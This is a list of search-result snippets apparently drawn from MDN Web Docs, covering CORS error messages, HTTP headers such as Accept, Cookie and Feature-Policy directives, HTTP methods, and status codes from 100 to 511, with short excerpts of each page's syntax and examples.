... for example, if the page https://service.tld/fetchdata were requested, and the http response is "301 moved permanently", "307 temporary redirect", or "308 permanent redirect" with a location of https://anotherservice.net/getdata, the cors request will fail in this manner.
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ - HTTP
the access-control-allow-headers header is sent by the server in response to a preflight request; it lets the client know which http headers are permitted in cors requests.
...it may also be worth checking to ensure that the user agent or http library you're using on the client is up-to-date.
Reason: CORS header 'Access-Control-Allow-Origin' missing - HTTP
for example, to allow a site at https://amazing.site to access the resource using cors, the header should be: access-control-allow-origin: https://amazing.site you can also configure a site to allow any site to access it by using the * wildcard.
...the configuration is typically found in a .conf file (httpd.conf and apache.conf are common names for these), or in an .htaccess file.
CORS errors - HTTP
WebHTTPCORSErrors
it will probably look like this: the text of the error message will be something similar to the following: cross-origin request blocked: the same origin policy disallows reading the remote resource at https://some-url-here.
... reason: cors disabled reason: cors request did not succeed reason: cors header ‘origin’ cannot be added reason: cors request external redirect not allowed reason: cors request not http reason: cors header ‘access-control-allow-origin’ missing reason: cors header ‘access-control-allow-origin’ does not match ‘xyz’ reason: credential is not supported if the cors header ‘access-control-allow-origin’ is ‘*’ reason: did not find method in cors header ‘access-control-allow-methods’ reason: expected ‘true’ in cors header ‘access-control-allow-credenti...
Cross-Origin Resource Policy (CORP) - HTTP
cross-origin resource policy is a policy set by the cross-origin-resource-policy http header that lets web sites and applications opt in to protection against certain requests from other origins (such as those issued with elements like <script> and <img>), to mitigate speculative side-channel attacks, like spectre, as well as cross-site script inclusion attacks.
... web applications set a cross-origin resource policy via the cross-origin-resource-policy http response header, which accepts one of three values: same-site only requests from the same site can read the resource.
Accept-Encoding - HTTP
the accept-encoding request http header advertises which content encoding, usually a compression algorithm, the client is able to understand.
... examples accept-encoding: gzip accept-encoding: gzip, compress, br accept-encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 specifications specification title rfc 7231, section 5.3.4: accept-encoding hypertext transfer protocol (http/1.1): semantics and context ...
Accept-Language - HTTP
the accept-language request http header advertises which languages the client is able to understand, and which locale variant is preferred.
... examples accept-language: de accept-language: de-ch accept-language: en-us,en;q=0.5 specifications specification title rfc 7231, section 5.3.5: accept-language hypertext transfer protocol (http/1.1): semantics and context bcp 47 tags for the identification of language ...
Accept-Patch - HTTP
the accept-patch response http header advertises which media-type the server is able to understand.
...ntax accept-patch: application/example, text/example accept-patch: text/example;charset=utf-8 accept-patch: application/merge-patch+json directives none examples accept-patch: application/example, text/example accept-patch: text/example;charset=utf-8 accept-patch: application/merge-patch+json specifications specification title rfc 5789, section 3.1: accept-patch http patch ...
Accept - HTTP
WebHTTPHeadersAccept
the accept request http header advertises which content types, expressed as mime types, the client is able to understand.
... examples accept: text/html accept: image/* // general default accept: */* // default for navigation requests accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 specifications specification title rfc 7231, section 5.3.2: accept hypertext transfer protocol (http/1.1): semantics and context ...
Access-Control-Allow-Credentials - HTTP
the access-control-allow-credentials header works in conjunction with the xmlhttprequest.withcredentials property or with the credentials option in the request() constructor of the fetch api.
... examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification.
Access-Control-Allow-Methods - HTTP
access-control-allow-methods: * directives <method> comma-delimited list of the allowed http request methods.
... * (wildcard) the value "*" only counts as a special wildcard value for requests without credentials (requests without http cookies or http authentication information).
Access-Control-Allow-Origin - HTTP
the "null" value for the acao header should therefore be avoided." examples a response that tells the browser to allow code from any origin to access a resource will include the following: access-control-allow-origin: * a response that tells the browser to allow requesting code from the origin https://developer.mozilla.org to access a resource will include the following: access-control-allow-origin: https://developer.mozilla.org limiting the possible access-control-allow-origin values to a set of allowed origins requires code on the server side to check the value of the origin request header, compare that to a list of allowed origins, and then if the origin value is in the list, to set th...
... access-control-allow-origin: https://developer.mozilla.org vary: origin specifications specification status comment fetchthe definition of 'access-control-allow-origin' in that specification.
Access-Control-Request-Headers - HTTP
the access-control-request-headers request header is used by browsers when issuing a preflight request, to let the server know which http headers the client might send when the actual request is made.
... directives <header-name> a comma-delimited list of http headers that are included in the request.
Access-Control-Request-Method - HTTP
the access-control-request-method request header is used by browsers when issuing a preflight request, to let the server know which http method will be used when the actual request is made.
... header type request header forbidden header name yes syntax access-control-request-method: <method> directives <method> one of the http request methods, for example get, post, or delete.
Age - HTTP
WebHTTPHeadersAge
if it is age: 0, it was probably just fetched from the origin server; otherwise it is usually calculated as a difference between the proxy's current date and the date general header included in the http response.
... examples age: 24 specifications specification title rfc 7234, section 5.1: age hypertext transfer protocol (http/1.1): caching ...
Allow - HTTP
WebHTTPHeadersAllow
header type entity header forbidden header name no syntax allow: <http-methods> directives <http-methods> the comma-separated list of allowed http request methods.
... examples allow: get, post, head specifications specification title rfc 7231, section 7.4.1: allow hypertext transfer protocol (http/1.1): semantics and content ...
Alt-Svc - HTTP
WebHTTPHeadersAlt-Svc
the alt-svc http response header is used to advertise alternative services through which the same resource can be reached.
...examples include h2 for http/2 and h3-25 for draft 25 of the http/3 protocol.
Content-Language - HTTP
<html lang="de"> do not use this meta element like this for stating a document language: <!-- /!\ this is bad practice --> <meta http-equiv="content-language" content="de"> indicating a target audience for a resource the content-language header is used to specify the intended audience of the page, and can indicate that this is more than one language.
... content-language: de, en specifications specification title rfc 7231, section 3.1.3.2: content-language hypertext transfer protocol (http/1.1): semantics and content ...
Content-Range - HTTP
the content-range response http header indicates where in a full body message a partial message belongs.
... examples content-range: bytes 200-1000/67589 specifications specification title rfc 7233, section 4.2: content-range hypertext transfer protocol (http/1.1): range requests ...
CSP: plugin-types - HTTP
the http content-security-policy (csp) plugin-types directive restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded.
... <meta http-equiv="content-security-policy" content="object-src 'none'"> allowing flash content the content security policy content-security-policy: plugin-types application/x-shockwave-flash will allow to load flash objects: <object data="https://example.com/flash" type="application/x-shockwave-flash"></object> allowing java applets to load an <applet> you must specify application/x-java-applet: con...
CSP: require-sri-for - HTTP
the http content-security-policy require-sri-for directive instructs the client to require the use of subresource integrity for scripts or styles on the page.
... <script src="https://code.jquery.com/jquery-3.1.1.slim.js" integrity="sha256-5i/mq300m779n2ovdrl16lbohwxnudzl/r2avuxyxwa=" crossorigin="anonymous"></script> however, scripts without integrity won't load anymore: <script src="https://code.jquery.com/jquery-3.1.1.slim.js"></script> ...
Content-Type - HTTP
<form action="/" method="post" enctype="multipart/form-data"> <input type="text" name="description" value="some text"> <input type="file" name="myfile"> <button type="submit">submit</button> </form> the request looks something like this (less interesting headers are omitted here): post /foo http/1.1 content-length: 68137 content-type: multipart/form-data; boundary=---------------------------974767299852498929531610575 -----------------------------974767299852498929531610575 content-disposition: form-data; name="description" some text -----------------------------974767299852498929531610575 content-disposition: form-data; name="myfile"; filename="foo.txt" content-type: text/plain (cont...
...ent of the uploaded file foo.txt) -----------------------------974767299852498929531610575-- specifications specification title rfc 7233, section 4.1: content-type in multipart hypertext transfer protocol (http/1.1): range requests rfc 7231, section 3.1.1.5: content-type hypertext transfer protocol (http/1.1): semantics and content ...
Cookie - HTTP
WebHTTPHeadersCookie
the cookie http request header contains stored http cookies previously sent by the server with the set-cookie header.
... examples cookie: phpsessid=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1 specifications specification title rfc 6265, section 5.4: cookie http state management mechanism ...
Cookie2 - HTTP
WebHTTPHeadersCookie2
the obsolete cookie2 http request header used to advise the server that the user agent understands "new-style" cookies, but nowadays user agents will use the cookie header instead, not this one.
... header type request header forbidden header name yes examples cookie2: $version="1" specifications specification title rfc 2965: cookie2 historic specification of http state management mechanism, obsoleted by rfc 6265 ...
Cross-Origin-Embedder-Policy - HTTP
the http cross-origin-embedder-policy (coep) response header prevents a document from loading any cross-origin resources that don't explicitly grant the document permission (using corp or cors).
...for example, you can use the crossorigin attribute for this image from a third-party site: <img src="https://thirdparty.com/img.png" crossorigin> specifications specification html living standardthe definition of 'cross-origin-embedder-policy header' in that specification.
Cross-Origin-Resource-Policy - HTTP
the http cross-origin-resource-policy response header conveys a desire that the browser blocks no-cors cross-origin/cross-site requests to the given resource.
... header type response header forbidden header name no syntax cross-origin-resource-policy: same-site | same-origin | cross-origin examples the response header below will cause compatible user agents to disallow cross-origin no-cors requests: cross-origin-resource-policy: same-origin for more examples, see https://resourcepolicy.fyi/.
ETag - HTTP
WebHTTPHeadersETag
the etag http response header is an identifier for a specific version of a resource.
... specifications specification title rfc 7232, section 2.3: etag hypertext transfer protocol (http/1.1): conditional requests ...
Expires - HTTP
WebHTTPHeadersExpires
header type response header forbidden header name no cors-safelisted response header yes syntax expires: <http-date> directives <http-date> an http-date timestamp.
... examples expires: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7234, section 5.3: expires hypertext transfer protocol (http/1.1): caching ...
Feature-Policy: accelerometer - HTTP
the http feature-policy header accelerometer directive controls whether the current document is allowed to gather information about the acceleration of the device through the accelerometer interface.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: ambient-light-sensor - HTTP
the http feature-policy header ambient-light-sensor directive controls whether the current document is allowed to gather information about the amount of light in the environment around the device through the ambientlightsensor interface.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: autoplay - HTTP
the http feature-policy header autoplay directive controls whether the current document is allowed to autoplay media requested through the htmlmediaelement interface.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: battery - HTTP
the http feature-policy header battery directive controls whether the current document is allowed to gather information about the acceleration of the device through the batterymanager interface obtained via navigator.getbattery().
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: camera - HTTP
the http feature-policy header camera directive controls whether the current document is allowed to use video input devices.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: display-capture - HTTP
the http feature-policy header display-capture directive controls whether or not the document is permitted to use screen capture api, i.e.,getdisplaymedia() to capture the screen's contents.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: document-domain - HTTP
the http feature-policy header document-domain directive controls whether the current document is allowed to set document.domain.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: encrypted-media - HTTP
the http feature-policy header encrypted-media directive controls whether the current document is allowed to use the encrypted media extensions api (eme).
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: gyroscope - HTTP
the http feature-policy header gyroscope directive controls whether the current document is allowed to gather information about the orientation of the device through the gyroscope interface.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: layout-animations - HTTP
the http feature-policy header layout-animations directive controls whether the current document is allowed to show layout animations.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: legacy-image-formats - HTTP
the http feature-policy header legacy-image-formats directive controls whether the current document is allowed to display images in legacy formats.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: magnetometer - HTTP
the http feature-policy header magnetometer directive controls whether the current document is allowed to gather information about the orientation of the device through the magnetometer interface.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: microphone - HTTP
the http feature-policy header microphone directive controls whether the current document is allowed to use audio input devices.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: midi - HTTP
the http feature-policy header midi directive controls whether the current document is allowed to use the web midi api.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: oversized-images - HTTP
the http feature-policy header oversized-images directive controls whether the current document is allowed to download and display large images.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: payment - HTTP
the http feature-policy header field's payment directive controls whether the current document is allowed to use the payment request api.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: picture-in-picture - HTTP
the http feature-policy header picture-in-picture directive controls whether the current document is allowed to play a video in a picture-in-picture mode via the corresponding api.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: publickey-credentials-get - HTTP
the http feature-policy header publickey-credentials-get directive controls whether the current document is allowed to access web authentcation api to create new public-key credentials, i.e, via navigator.credentials.get({publickey: ..., ...}).
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: screen-wake-lock - HTTP
the http feature-policy header screen-wake-lock directive controls whether the current document is allowed to use screen wake lock api to indicate that device should not dim or turn off the screen.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: sync-xhr - HTTP
the http feature-policy header sync-xhr directive controls whether the current document is allowed to make synchronous xmlhttprequest requests.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: unoptimized-images - HTTP
the http feature-policy header unoptimized-images directive controls whether the current document is allowed to download and display unoptimized images.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: unsized-media - HTTP
the http feature-policy header unsized-media directive controls whether the current document is allowed to change the size of media elements after the initial layout is complete.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: usb - HTTP
the http feature-policy header usb directive controls whether the current document is allowed to use the webusb api.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: vibrate - HTTP
the http feature-policy header vibrate directive controls whether the current document is allowed to trigger device vibrations via navigator.vibrate() method of vibration api.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: wake-lock - HTTP
the http feature-policy header wake-lock directive controls whether the current document is allowed to use wake lock api to indicate that device should not enter power-saving mode.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
web-share - HTTP
the http feature-policy header web-share directive controls controls whether the current document is allowed to use the navigator.share() of web share api to share text, links, images, and other content to arbitrary destiations of user's choice.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
Feature-Policy: xr-spatial-tracking - HTTP
the http feature-policy header xr-spatial-tracking directive controls whether the current document is allowed to use the webxr device api.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
If-Match - HTTP
WebHTTPHeadersIf-Match
the if-match http request header makes the request conditional.
... examples if-match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" if-match: "67ab43", "54ed21", "7892dd" if-match: * specifications specification title rfc 7232, section 3.1: if-match hypertext transfer protocol (http/1.1): conditional requests ...
Location - HTTP
WebHTTPHeadersLocation
in cases of redirection, the http method used to make the new request to fetch the page pointed to by location depends of the original method and of the kind of redirection: if 303 (see also) responses always lead to the use of a get method, 307 (temporary redirect) and 308 (permanent redirect) don't change the method used in the original request; 301 (permanent redirect) and 302 (found) doesn't change the method most of the time, though older user-agents may (so you basically don't know).
... examples location: /index.html specifications specification title rfc 7231, section 7.1.2: location hypertext transfer protocol (http/1.1): semantics and content ...
Proxy-Authenticate - HTTP
the http proxy-authenticate response header defines the authentication method that should be used to gain access to a resource behind a proxy server.
... examples proxy-authenticate: basic proxy-authenticate: basic realm="access to the internal site" specifications specification title rfc 7235, section 4.3: proxy-authenticate http/1.1: authentication rfc 7617 the 'basic' http authentication scheme ...
Range - HTTP
WebHTTPHeadersRange
the range http request header indicates the part of a document that the server should return.
... range: bytes=0-499, -500 specifications specification title rfc 7233, section 3.1: range hypertext transfer protocol (http/1.1): range requests ...
Server-Timing - HTTP
the specification advices that names and descriptions should be kept as short as possible (use abbreviations and omit optional values where possible) to minimize the http overhead.
...the interface is only available in secure contexts (https) in some browsers.
Vary - HTTP
WebHTTPHeadersVary
the vary http response header determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.
... vary: user-agent specifications specification title rfc 7231, section 7.1.4: vary hypertext transfer protocol (http/1.1): semantics and content ...
Via - HTTP
WebHTTPHeadersVia
the name of the protocol used, such as "http".
... examples via: 1.1 vegur via: http/1.1 gwa via: 1.0 fred, 1.1 p.example.net specifications specification title rfc 7230, section 5.7.1: via hypertext transfer protocol (http/1.1): message syntax and routing ...
X-Forwarded-For - HTTP
the x-forwarded-for (xff) header is a de-facto standard header for identifying the originating ip address of a client connecting to a web server through an http proxy or a load balancer.
... a standardized version of this header is the http forwarded header.
X-Forwarded-Host - HTTP
the x-forwarded-host (xfh) header is a de-facto standard header for identifying the original host requested by the client in the host http request header.
... a standardized version of this header is the http forwarded header.
GET - HTTP
WebHTTPMethodsGET
the http get method requests a representation of the specified resource.
... request has body no successful response has body yes safe yes idempotent yes cacheable yes allowed in html forms yes syntax get /index.html specifications specification title rfc 7231, section 4.3.1: get hypertext transfer protocol (http/1.1): semantics and content ...
HEAD - HTTP
WebHTTPMethodsHEAD
the http head method requests the headers that would be returned if the head request's url was instead requested with the http get method.
... request has body no successful response has body no safe yes idempotent yes cacheable yes allowed in html forms no syntax head /index.html specifications specification title rfc 7231, section 4.3.2: head hypertext transfer protocol (http/1.1): semantics and content ...
100 Continue - HTTP
WebHTTPStatus100
the http 100 continue informational status response code indicates that everything so far is ok and that the client should continue with the request or ignore it if it is already finished.
... status 100 continue specifications specification title rfc 7231, section 6.2.1: 100 continue hypertext transfer protocol (http/1.1): semantics and content ...
101 Switching Protocols - HTTP
WebHTTPStatus101
the http 101 switching protocols response code indicates the protocol the server is switching to as requested by a client which sent the message including the upgrade request header.
... http/1.1 101 switching protocols upgrade: websocket connection: upgrade specifications specification title rfc 7231, section 6.2.2: 101 switching protocol hypertext transfer protocol (http/1.1): semantics and content ...
201 Created - HTTP
WebHTTPStatus201
the http 201 created success status response code indicates that the request has succeeded and has led to the creation of a resource.
... status 201 created specifications specification title rfc 7231, section 6.3.2: 201 created hypertext transfer protocol (http/1.1): semantics and content ...
203 Non-Authoritative Information - HTTP
WebHTTPStatus203
the http 203 non-authoritative information response status indicates that the request was successful but the enclosed payload has been modified by a transforming proxy from that of the origin server's 200 (ok) response .
... status 203 non-authoritative information specifications specification title rfc 7231, section 6.3.4: 203 non-authoritative information hypertext transfer protocol (http/1.1): semantics and content ...
204 No Content - HTTP
WebHTTPStatus204
the http 204 no content success status response code indicates that the request has succeeded, but that the client doesn't need to go away from its current page.
... status 204 no content specifications specification title rfc 7231, section 6.3.5: 204 no content hypertext transfer protocol (http/1.1): semantics and content ...
205 Reset Content - HTTP
WebHTTPStatus205
the http 205 reset content response status tells the client to reset the document view, so for example to clear the content of a form, reset a canvas state, or to refresh the ui.
... status 205 reset content specifications specification title rfc 7231, section 6.3.6: 205 reset content hypertext transfer protocol (http/1.1): semantics and content compatibility notes browser behavior differs if this response erroneously includes a body on persistent connections see 204 no content for more detail.
300 Multiple Choices - HTTP
WebHTTPStatus300
the http 300 multiple choices redirect status response code indicates that the request has more than one possible responses.
... status 300 multiple choices specifications specification title rfc 7231, section 6.4.1: 300 multiple choices hypertext transfer protocol (http/1.1): semantics and content ...
301 Moved Permanently - HTTP
WebHTTPStatus301
the hypertext transfer protocol (http) 301 moved permanently redirect status response code indicates that the resource requested has been definitively moved to the url given by the location headers.
... status 301 moved permanently example client request get /index.php http/1.1 host: www.example.org server response http/1.1 301 moved permanently location: http://www.example.org/index.asp specifications specification title rfc 7231, section 6.4.2: 301 moved permanently hypertext transfer protocol (http/1.1): semantics and content ...
302 Found - HTTP
WebHTTPStatus302
the hypertext transfer protocol (http) 302 found redirect status response code indicates that the resource requested has been temporarily moved to the url given by the location header.
... status 302 found specifications specification title rfc 7231, section 6.4.3: 302 found hypertext transfer protocol (http/1.1): semantics and content ...
303 See Other - HTTP
WebHTTPStatus303
the hypertext transfer protocol (http) 303 see other redirect status response code indicates that the redirects don't link to the newly uploaded resources, but to another page (such as a confirmation page or an upload progress page).
... status 303 see other specifications specification title rfc 7231, section 6.4.4: 303 see other hypertext transfer protocol (http/1.1): semantics and content ...
304 Not Modified - HTTP
WebHTTPStatus304
the http 304 not modified client redirection response code indicates that there is no need to retransmit the requested resources.
... status 304 not modified specifications specification title rfc 7232, section 4.1: 304 not modified hypertext transfer protocol (http/1.1): conditional requests ...
307 Temporary Redirect - HTTP
WebHTTPStatus307
http 307 temporary redirect redirect status response code indicates that the resource requested has been temporarily moved to the url given by the location headers.
... status 307 temporary redirect specifications specification title rfc 7231, section 6.4.7: 307 temporary redirect hypertext transfer protocol (http/1.1): semantics and content ...
400 Bad Request - HTTP
WebHTTPStatus400
the hypertext transfer protocol (http) 400 bad request response status code indicates that the server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).
... status 400 bad request specifications specification title rfc 7231, section 6.5.1: 400 bad request hypertext transfer protocol (http/1.1): semantics and content ...
401 Unauthorized - HTTP
WebHTTPStatus401
the http 401 unauthorized client error status response code indicates that the request has not been applied because it lacks valid authentication credentials for the target resource.
... status 401 unauthorized example response http/1.1 401 unauthorized date: wed, 21 oct 2015 07:28:00 gmt www-authenticate: basic realm="access to staging site" specifications specification title rfc 7235, section 3.1: 401 unauthorized http/1.1: authentication ...
402 Payment Required - HTTP
WebHTTPStatus402
the http 402 payment required is a nonstandard client error status response code that is reserved for future use.
... status 402 payment required example response http/1.1 402 payment required date: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7231, section 6.5.2: 402 payment required http/1.1: semantics and content ...
403 Forbidden - HTTP
WebHTTPStatus403
the http 403 forbidden client error status response code indicates that the server understood the request but refuses to authorize it.
... status 403 forbidden example response http/1.1 403 forbidden date: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7231, section 6.5.3: 403 forbidden http/1.1: semantics and content ...
404 Not Found - HTTP
WebHTTPStatus404
the http 404 not found client error response code indicates that the server can't find the requested resource.
... specifications specification title rfc 7231, section 6.5.4: 404 not found hypertext transfer protocol (http/1.1): semantics and content ...
405 Method Not Allowed - HTTP
WebHTTPStatus405
the hypertext transfer protocol (http) 405 method not allowed response status code indicates that the request method is known by the server but is not supported by the target resource.
... status 405 method not allowed specifications specification title rfc 7231, section 6.5.5: 405 method not allowed hypertext transfer protocol (http/1.1): semantics and content ...
406 Not Acceptable - HTTP
WebHTTPStatus406
the hypertext transfer protocol (http) 406 not acceptable client error response code indicates that the server cannot produce a response matching the list of acceptable values defined in the request's proactive content negotiation headers, and that the server is unwilling to supply a default representation.
... status 406 not acceptable specifications specification title rfc 7231, section 6.5.6: 406 not acceptable hypertext transfer protocol (http/1.1): semantics and content ...
407 Proxy Authentication Required - HTTP
WebHTTPStatus407
the http 407 proxy authentication required client error status response code indicates that the request has not been applied because it lacks valid authentication credentials for a proxy server that is between the browser and the server that can access the requested resource.
... status 407 proxy authentication required example response http/1.1 407 proxy authentication required date: wed, 21 oct 2015 07:28:00 gmt proxy-authenticate: basic realm="access to internal site" specifications specification title rfc 7235, section 3.2: 407 proxy authentication required http/1.1: authentication ...
409 Conflict - HTTP
WebHTTPStatus409
the http 409 conflict response status code indicates a request conflict with current state of the server.
... status 409 conflict specifications specification title rfc 7231, section 6.5.8: 409 conflict hypertext transfer protocol (http/1.1): semantics and content ...
410 Gone - HTTP
WebHTTPStatus410
the hypertext transfer protocol (http) 410 gone client error response code indicates that access to the target resource is no longer available at the origin server and that this condition is likely to be permanent.
... status 410 gone specifications specification title rfc 7231, section 6.5.9: 410 gone hypertext transfer protocol (http/1.1): semantics and content ...
411 Length Required - HTTP
WebHTTPStatus411
the hypertext transfer protocol (http) 411 length required client error response code indicates that the server refuses to accept the request without a defined content-length header.
... status 411 length required specifications specification title rfc 7231, section 6.5.10: 411 length required hypertext transfer protocol (http/1.1): semantics and content ...
412 Precondition Failed - HTTP
WebHTTPStatus412
the hypertext transfer protocol (http) 412 precondition failed client error response code indicates that access to the target resource has been denied.
... specifications specification title rfc 7232, section 4.2: 412 precondition failed hypertext transfer protocol (http/1.1): conditional requests ...
413 Payload Too Large - HTTP
WebHTTPStatus413
the http 413 payload too large response status code indicates that the request entity is larger than limits defined by server; the server might close the connection or return a retry-after header field.
... status 413 payload too large specifications specification title rfc 7231, section 6.5.11: 413 payload too large hypertext transfer protocol (http/1.1): semantics and content ...
414 URI Too Long - HTTP
WebHTTPStatus414
the http 414 uri too long response status code indicates that the uri requested by the client is longer than the server is willing to interpret.
... status 414 uri too long specifications specification title rfc 7231, section 6.5.12: 414 uri too long hypertext transfer protocol (http/1.1): semantics and content ...
415 Unsupported Media Type - HTTP
WebHTTPStatus415
the http 415 unsupported media type client error response code indicates that the server refuses to accept the request because the payload format is in an unsupported format.
... status 415 unsupported media type specifications specification title rfc 7231, section 6.5.13: 415 unsupported media type hypertext transfer protocol (http/1.1): semantics and content ...
416 Range Not Satisfiable - HTTP
WebHTTPStatus416
the hypertext transfer protocol (http) 416 range not satisfiable error response code indicates that a server cannot serve the requested ranges.
... status 416 range not satisfiable specifications specification title rfc 7233, section 4.4: 416 request not satisfiable hypertext transfer protocol (http/1.1): range requests ...
417 Expectation Failed - HTTP
WebHTTPStatus417
the http 417 expectation failed client error response code indicates that the expectation given in the request's expect header could not be met.
... status 417 expectation failed specifications specification title rfc 7231, section 6.5.14: 417 expectation failed hypertext transfer protocol (http/1.1): semantics and content ...
422 Unprocessable Entity - HTTP
WebHTTPStatus422
the hypertext transfer protocol (http) 422 unprocessable entity response status code indicates that the server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.
... status 422 unprocessable entity specifications specification title rfc 4918, section 11.2: 422 unprocessable entity http extensions for web distributed authoring and versioning (webdav) ...
425 Too Early - HTTP
WebHTTPStatus425
the hypertext transfer protocol (http) 425 too early response status code indicates that the server is unwilling to risk processing a request that might be replayed, which creates the potential for a replay attack.
... status 425 too early specifications specification title rfc 8470, section 5.2: 425: early data using early data in http ...
426 Upgrade Required - HTTP
WebHTTPStatus426
the http 426 upgrade required client error response code indicates that the server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol.
... status 426 upgrade required examples http/1.1 426 upgrade required upgrade: http/2.0 connection: upgrade content-length: 53 content-type: text/plain this service requires use of the http/2.0 protocol specifications specification title rfc 7231, section 6.5.15: 426 upgrade required hypertext transfer protocol (http/1.1): semantics and content ...
428 Precondition Required - HTTP
WebHTTPStatus428
the http 428 precondition required response status code indicates that the server requires the request to be conditional.
... status 428 precondition required specifications specification title rfc 6585, section 3: 428 precondition required additional http status codes ...
429 Too Many Requests - HTTP
WebHTTPStatus429
the http 429 too many requests response status code indicates the user has sent too many requests in a given amount of time ("rate limiting").
... status 429 too many requests example http/1.1 429 too many requests content-type: text/html retry-after: 3600 specifications specification title rfc 6585, section 4: 429 too many requests additional http status codes ...
431 Request Header Fields Too Large - HTTP
WebHTTPStatus431
the http 431 request header fields too large response status code indicates that the server refuses to process the request because the request’s http headers are too long.
... servers will often produce this status if: the referer url is too long there are too many cookies sent in the request status 431 request header fields too large specifications specification title rfc 6585, section 5: 431 request header fields too large additional http status codes ...
500 Internal Server Error - HTTP
WebHTTPStatus500
the hypertext transfer protocol (http) 500 internal server error server error response code indicates that the server encountered an unexpected condition that prevented it from fulfilling the request.
... status 500 internal server error specifications specification title rfc 7231, section 6.6.1: 500 internal server error hypertext transfer protocol (http/1.1): semantics and content ...
501 Not Implemented - HTTP
WebHTTPStatus501
the hypertext transfer protocol (http) 501 not implemented server error response code means that the server does not support the functionality required to fulfill the request.
... status 501 not implemented specifications specification title rfc 7231, section 6.6.2: 501 not implemented hypertext transfer protocol (http/1.1): semantics and content ...
502 Bad Gateway - HTTP
WebHTTPStatus502
the hypertext transfer protocol (http) 502 bad gateway server error response code indicates that the server, while acting as a gateway or proxy, received an invalid response from the upstream server.
... status 502 bad gateway specifications specification title rfc 7231, section 6.6.3: 502 bad gateway hypertext transfer protocol (http/1.1): semantics and content ...
504 Gateway Timeout - HTTP
WebHTTPStatus504
the hypertext transfer protocol (http) 504 gateway timeout server error response code indicates that the server, while acting as a gateway or proxy, did not get a response in time from the upstream server that it needed in order to complete the request.
... status 504 gateway timeout specifications specification title rfc 7231, section 6.6.5: 504 gateway timeout hypertext transfer protocol (http/1.1): semantics and content ...
506 Variant Also Negotiates - HTTP
WebHTTPStatus506
the hypertext transfer protocol (http) 506 variant also negotiates response status code may be given in the context of transparent content negotiation (see rfc 2295).
... status 506 variant also negotiates specifications specification title rfc 2295, section 8.1: 506 variant also negotiates transparent content negotiation in http ...
510 Not Extended - HTTP
WebHTTPStatus510
the hypertext transfer protocol (http) 510 not extended response status code is sent in the context of the http extension framework, defined in rfc 2774.
... status 510 not extended specifications specification title rfc 2774, section 7: 510 not extended an http extension framework ...
511 Network Authentication Required - HTTP
WebHTTPStatus511
the http 511 network authentication required response status code indicates that the client needs to authenticate to gain network access.
... status 511 network authentication required specifications specification title rfc 6585, section 6: 511 network authentication required additional http status codes ...
The life of an HTML HTTP request - Archive of obsolete content
necko (the network library) checks the url scheme (the first part of the url, http: in this case) and locates the correct nsiprotocolhandler (in this case nshttphandler) and asks it for a nsichannel (nshttpchannel).
HTTPS - MDN Web Docs Glossary: Definitions of Web-related terms
https (hypertext transfer protocol secure) is an encrypted version of the http protocol.
XMLHttpRequest.channel - Web APIs
xmlhttprequest.channel is an nsichannel that used by the object when performing the request.
XMLHttpRequest.mozAnon - Web APIs
xmlhttprequest.mozanon is a boolean.
XMLHttpRequest.mozBackgroundRequest - Web APIs
xmlhttprequest.mozbackgroundrequest is a boolean, indicating if the object represents a background service request.
XMLHttpRequest.openRequest() - Web APIs
this mozilla-specific method is available only from within privileged code, and is only called from a c++ context in order to initialize an xmlhttprequest.
XMLHttpRequest: timeout event - Web APIs
